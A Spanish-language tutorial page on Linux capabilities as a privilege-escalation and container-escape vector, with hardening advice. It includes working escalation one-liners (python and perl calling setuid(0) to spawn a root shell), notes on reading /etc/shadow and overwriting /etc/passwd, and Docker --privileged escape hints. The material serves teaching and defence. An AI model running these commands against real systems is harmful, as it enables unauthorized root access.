Saltearse al contenido

Linux capabilities

Las capabilities dividen los poderes de root en permisos granulares que se pueden asignar a binarios concretos, sin darles el SUID completo. La idea es buena para la seguridad (un programa que solo necesita abrir puertos bajos no necesita ser root entero), pero una capability mal asignada es tan peligrosa como un SUID: ciertas capabilities permiten escalar a root directamente. Es un vector que linpeas marca y que mucha gente pasa por alto.

En vez de “root puede todo”, el kernel divide ese poder en ~40 capabilities (cap_net_bind_service, cap_setuid, cap_dac_read_search…). Un binario puede llevar una capability concreta en sus atributos extendidos, ejecutándose con ese poder sin ser SUID de root.

getcap -r / 2>/dev/null # listar todos los binarios con capabilities
# ejemplo de salida:
# /usr/bin/python3.8 = cap_setuid+ep
cap_setuid # cambiar UID -> setuid(0) -> root
cap_setgid # cambiar GID
cap_dac_read_search # saltarse permisos de LECTURA -> leer /etc/shadow, claves
cap_dac_override # saltarse permisos de lectura/escritura -> escribir ficheros root
cap_sys_admin # casi root (montar, etc.)
cap_sys_ptrace # debuggear procesos -> inyectar en procesos root
cap_chown / cap_fowner # cambiar propiedad/permisos de ficheros
# python con cap_setuid+ep -> root directo
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# perl con cap_setuid
./perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'
# cap_dac_read_search -> leer /etc/shadow (crackear root) o claves SSH
# tar/cp con cap_dac_read_search pueden leer ficheros protegidos
# cap_dac_override -> sobrescribir /etc/passwd (añadir usuario root)

GTFOBins incluye la sección capabilities para cada binario: si getcap muestra uno con una cap peligrosa, busca ahí la receta.

SUID: el proceso corre como el DUEÑO del binario (p. ej. root entero)
Capability: el proceso corre con TU UID pero con un PODER concreto añadido

Por eso con cap_setuid tienes que invocar setuid(0) explícitamente (como en los ejemplos), a diferencia de un SUID que ya corre como root.

  • Auditar capabilities (getcap -r /): quitar las que no sean estrictamente necesarias (setcap -r).
  • Mínima capability: asignar solo la concreta que el programa necesita, nunca cap_setuid/cap_sys_admin si se puede evitar.
  • No dar capabilities peligrosas a intérpretes (python, perl, ruby): son escalada trivial.
  • Inventario y alertas sobre binarios con capabilities nuevas.
  • Combinar con AppArmor/SELinux y montar con nosuid donde aplique.

Las capabilities son clave en seguridad de contenedores (ver Seguridad de contenedores): un contenedor con capabilities de más es una vía de escape al host.

# un contenedor con --privileged o cap_sys_admin puede escapar al host
docker run --cap-add=SYS_ADMIN ... # montar, manipular el host -> escape
docker run --privileged ... # TODAS las caps -> escape casi garantizado
# dentro de un contenedor, enumerar las caps del proceso:
capsh --print ; cat /proc/self/status | grep Cap
# defensa (dso-containers): drop ALL y añadir solo lo imprescindible
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...

Por eso el bastionado de contenedores insiste en --cap-drop=ALL: el mismo poder que escala a root en un host escala del contenedor al nodo.

Referencia rápida de capabilities peligrosas

Sección titulada «Referencia rápida de capabilities peligrosas»
cap_setuid setuid(0) -> root directo (el caso más limpio)
cap_setgid cambiar GID
cap_dac_read_search leer CUALQUIER fichero (/etc/shadow, claves SSH) saltándose permisos
cap_dac_override escribir CUALQUIER fichero (/etc/passwd, sudoers)
cap_sys_admin "casi root": montar, muchas operaciones privilegiadas (escape de contenedor)
cap_sys_ptrace depurar/inyectar en procesos de root
cap_sys_module cargar módulos de kernel -> root/rootkit
cap_chown cambiar propietario de ficheros -> escalada
cap_fowner saltarse comprobaciones de propietario en operaciones de fichero

Si getcap muestra cualquiera de estas en un binario (o un intérprete), es escalada: cruza con GTFOBins (sección capabilities) para la receta exacta.

  • getcap -r / 2>/dev/null → listar binarios con capabilities
  • Identificar capabilities peligrosas (setuid, dac_read_search, dac_override, sys_admin, sys_ptrace)
  • Explotar intérpretes con cap_setuid (python/perl → setuid(0))
  • cap_dac_read_search → leer /etc/shadow / claves
  • cap_dac_override → escribir /etc/passwd
  • Cruzar con GTFOBins (sección capabilities)
  • Confirmar root (id)
  • Blue: ¿capabilities minimizadas, sin caps en intérpretes?